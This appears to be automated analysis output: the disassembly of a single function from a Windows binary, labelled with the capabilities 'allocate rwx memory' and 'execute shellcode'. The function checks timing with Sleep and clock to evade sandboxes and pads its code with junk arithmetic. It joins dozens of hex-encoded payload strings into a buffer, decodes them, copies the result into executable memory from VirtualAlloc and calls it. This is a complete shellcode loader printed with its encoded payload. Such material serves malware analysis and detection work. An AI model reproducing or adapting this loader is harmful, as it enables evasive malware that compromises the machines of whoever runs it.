Function at 0x140001905
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rdi
sub rsp, 0x628
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x5c0], ecx
mov qword [rbp + 0x5c8], rdx
call fcn.1400024c0
call sub.msvcrt.dll_clock
mov dword [rbp + 0x59c], eax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
mov ecx, 0x1fe
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call sub.msvcrt.dll_clock
mov dword [rbp + 0x598], eax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
mov ecx, 0x744
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x590], rax
mov edx, dword [0x14001a018]
mov eax, dword [0x14001a018]
imul eax, edx
mov dword [0x14001a018], eax
mov eax, dword [rbp + 0x598]
sub eax, dword [rbp + 0x59c]
cmp eax, 0x1fd
jle 0x1400023e1
mov eax, dword [rbp + 0x598]
sub eax, dword [rbp + 0x59c]
cmp eax, 0x261
jg 0x1400023e1
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a018]
sub eax, edx
mov dword [0x14001a018], eax
lea rcx, str.feWze
call fcn.140001583
lea rax, str.9054830c270024c4448d55feb4bcc7500f36e4f8084cf0080
mov qword [rbp + 0x588], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a018]
imul eax, edx
mov dword [0x14001a018], eax
lea rax, str.3a64395366263623
mov qword [rbp + 0x580], rax
mov eax, dword [0x14001a010]
mov edx, dword [0x14001a014]
sub eax, edx
mov dword [0x14001a014], eax
lea rax, str.24013f3372fef4c58821160bf04b0d808c80f2508016088bd1c21120188081009119d13c841b101819
mov qword [rbp + 0x578], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a018]
add eax, edx
mov dword [0x14001a018], eax
lea rax, str.2f299e011a1919690a00a36f8128ab68918094e6a919bf0000829035d57f484baec85317a9082c01e46e4b4f42b
mov qword [rbp + 0x570], rax
mov edx, dword [0x14001a018]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
lea rax, str.fa8888384fba5352ed6c7f041d45b04259f9c60684529d0581800f5890069503550df2e709c05468474c720e58
mov qword [rbp + 0x568], rax
mov eax, dword [0x14001a014]
add eax, eax
mov dword [0x14001a014], eax
lea rax, str.81804d44c834000258400444445e1447054434345a040464cd4d50b5c88b63b09f
mov qword [rbp + 0x560], rax
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a010]
sub eax, edx
mov dword [0x14001a010], eax
lea rax, str.dc357d040eef4dee6bdd70b67a7ed44676266623663332735460a6c5c30620c05b08818781f45c99be37c
mov qword [rbp + 0x558], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a018]
add eax, edx
mov dword [0x14001a018], eax
lea rax, str.3b8d376b94694d34000f44f209e87cc00ff3316080282b02a91c12bb680070b9fbd891c48b6c91018110bf07461c88d1a7
mov qword [rbp + 0x550], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add eax, edx
mov dword [0x14001a014], eax
lea rax, str.081d11f5129015938a03106f97d285181b0f9f2ce2991b9dbaf4ddd5fc0395509f
mov qword [rbp + 0x548], rax
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a010]
sub eax, edx
mov dword [0x14001a010], eax
lea rax, str.0260e61ae105a4db79cd6e9a63f7efc1575ac599faa5a85b299c6d01f10000587100220
mov qword [rbp + 0x540], rax
mov eax, dword [0x14001a010]
mov edx, dword [0x14001a014]
sub eax, edx
mov dword [0x14001a014], eax
lea rax, str.41080ff7105fe053552544624e8460806580f343cc
mov qword [rbp + 0x538], rax
mov edx, dword [0x14001a018]
mov eax, dword [0x14001a014]
add eax, edx
mov dword [0x14001a014], eax
lea rax, str.40d46448d555458f0674f743453f0813559ec4c3428c4100404d8c45180f0b0f5baaedb3856b4b60e02666366342
mov qword [rbp + 0x530], rax
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a018]
sub eax, edx
mov dword [0x14001a018], eax
lea rax, str.67233562455658301297270caa1a92d3d81af262ea3c7c92dfa457129bfc0144e9e4041f2b074073330ec0001b220
mov qword [rbp + 0x528], rax
mov edx, dword [0x14001a018]
mov eax, dword [0x14001a010]
add eax, edx
mov dword [0x14001a010], eax
lea rax, str.a8c0dd820bb04041846111185008cb181a088fa959975100af0921119b99122e83ffa0005
mov qword [rbp + 0x520], rax
mov dword [0x14001a018], 0
lea rax, str.580f265dfc30f1da56c8a4fb95119302edcef4b9e774b745ed3035f394e1f995bba82dec024f001c2a12af18437e
mov qword [rbp + 0x518], rax
mov eax, dword [0x14001a018]
mov edx, dword [0x14001a014]
sub eax, edx
mov dword [0x14001a014], eax
lea rax, str.c51ef0e690091339889af46858081150a4f45d815443340543d08478
mov qword [rbp + 0x510], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a018]
imul eax, edx
mov dword [0x14001a018], eax
lea rax, str.4d48dcc3f472d
mov qword [rbp + 0x508], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a018]
imul eax, edx
mov dword [0x14001a018], eax
lea rax, str.4100544244f666882ddc4bd0c5c4487883c53455060e0744ff40c9c8e0f54df153cf239a74d057746267
mov qword [rbp + 0x500], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
lea rax, str.24357525763420fc16b5bfc8f3df295eeb6
mov qword [rbp + 0x4f8], rax
mov edx, dword [0x14001a018]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
lea rax, str.9bb6fb62aec8622c473eb9fdff5b40bb5588b8bdc64d50e33338411288b871c1921c12280b806810
mov qword [rbp + 0x4f0], rax
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a010]
sub eax, edx
mov dword [0x14001a010], eax
lea rax, str.18551414048ea8c1afdee9c6f211153189117989d02b50a00090a81ff1d05f491faa6442389c9c3fbea554015d10
mov qword [rbp + 0x4e8], rax
mov edx, dword [0x14001a018]
mov eax, dword [0x14001a018]
imul eax, edx
mov dword [0x14001a018], eax
lea rax, str.3003e0f24009a0d551c88
mov qword [rbp + 0x4e0], rax
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a018]
sub eax, edx
mov dword [0x14001a018], eax
lea rax, str.44557882a50e2bbc08e882608bb5d6d0b2b6c002a001a4389
mov qword [rbp + 0x4d8], rax
mov edx, dword [0x14001a018]
mov eax, dword [0x14001a010]
add eax, edx
mov dword [0x14001a010], eax
lea rax, str.191536778030
mov qword [rbp + 0x4d0], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
lea rax, str.e548e5464480bcacc4540778c
mov qword [rbp + 0x4c8], rax
mov eax, dword [0x14001a010]
mov edx, dword [0x14001a018]
sub eax, edx
mov dword [0x14001a018], eax
lea rax, str.41e540a4e73d40848
mov qword [rbp + 0x4c0], rax
mov eax, dword [0x14001a018]
add eax, eax
mov dword [0x14001a018], eax
lea rax, str.4558e55f566e40f4354e94b45b554d485fd6000484b8fffb20808e0265f7c6f321a4f2b0
mov qword [rbp + 0x4b8], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add eax, edx
mov dword [0x14001a014], eax
lea rax, str.b763223764532245466
mov qword [rbp + 0x4b0], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a018]
add eax, edx
mov dword [0x14001a018], eax
lea rax, str.3200e795a7d56dbef7c48149103258b763d38051e70516c3f5ba0
mov qword [rbp + 0x4a8], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a018]
imul eax, edx
mov dword [0x14001a018], eax
lea rax, str.0045a54d4f44880555c32233158f011855838c099b8939f967d0911ab84fa0919faff4f2f3bde
mov qword [rbp + 0x4a0], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
lea rax, str.eb3af0db079bda8837f9fe0b250412bd488050083a98b807e
mov qword [rbp + 0x498], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
mov qword [rbp - 0x60], 0
mov qword [rbp - 0x58], 0
lea rdx, [rbp - 0x50]
mov eax, 0
mov ecx, 0x99
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov byte [rdx], al
add rdx, 1
mov rdx, qword [rbp + 0x588]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcpy
mov edx, dword [0x14001a018]
mov eax, dword [0x14001a014]
add eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x580]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a018]
add eax, edx
mov dword [0x14001a018], eax
mov rdx, qword [rbp + 0x578]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a018]
imul eax, edx
mov dword [0x14001a018], eax
mov rdx, qword [rbp + 0x570]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a018]
imul eax, edx
mov dword [0x14001a018], eax
mov rdx, qword [rbp + 0x568]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x14001a010], 0
mov rdx, qword [rbp + 0x560]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x14001a018], 0
mov rdx, qword [rbp + 0x558]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a018]
imul eax, edx
mov dword [0x14001a018], eax
mov rdx, qword [rbp + 0x550]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a018]
mov eax, dword [0x14001a014]
add eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x548]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a018]
add eax, eax
mov dword [0x14001a018], eax
mov rdx, qword [rbp + 0x540]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
add eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x538]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a018]
mov edx, dword [0x14001a014]
sub eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x530]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a018]
add eax, eax
mov dword [0x14001a018], eax
mov rdx, qword [rbp + 0x528]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a018]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x520]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a018]
sub eax, edx
mov dword [0x14001a018], eax
mov rdx, qword [rbp + 0x518]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a018]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x510]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a018]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x508]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a018]
mov edx, dword [0x14001a014]
sub eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x500]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x14001a010], 0
mov rdx, qword [rbp + 0x4f8]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
add eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x4f0]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a010]
mov edx, dword [0x14001a018]
sub eax, edx
mov dword [0x14001a018], eax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x14001a014], 0
mov rdx, qword [rbp + 0x4e0]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a018]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x4d8]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a018]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x4d0]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a018]
mov eax, dword [0x14001a010]
add eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x4c8]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x4c0]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x4b8]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x4b0]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x4a8]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
add eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x4a0]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a010]
mov edx, dword [0x14001a014]
sub eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x498]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
mov rax, qword [rbp + 0x590]
lea rdx, [0x14001b7ca]
mov rcx, rax
call fcn.1400015d4
mov qword [rbp + 0x490], rax
mov eax, dword [0x14001a014]
add eax, eax
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x490]
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1400018bc
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a018]
imul eax, edx
mov dword [0x14001a018], eax
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x4d9
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x488], rax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x488]
mov r8d, 0x4d9
mov rcx, rax
call sub.msvcrt.dll_memmove
mov rax, qword [rbp + 0x488]
call rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add edx, eax
mov eax, dword [0x14001a018]
add edx, eax
mov eax, dword [0x14001a01c]
add eax, edx
mov edx, eax
lea rcx, [0x14001b7cd]
call fcn.140001583
jmp 0x140002402
mov eax, dword [0x14001a010]
mov edx, dword [0x14001a014]
sub eax, edx
mov dword [0x14001a014], eax
lea rcx, str.feWze
call fcn.140001583
nop
add rsp, 0x628
pop rdi
pop rbp
ret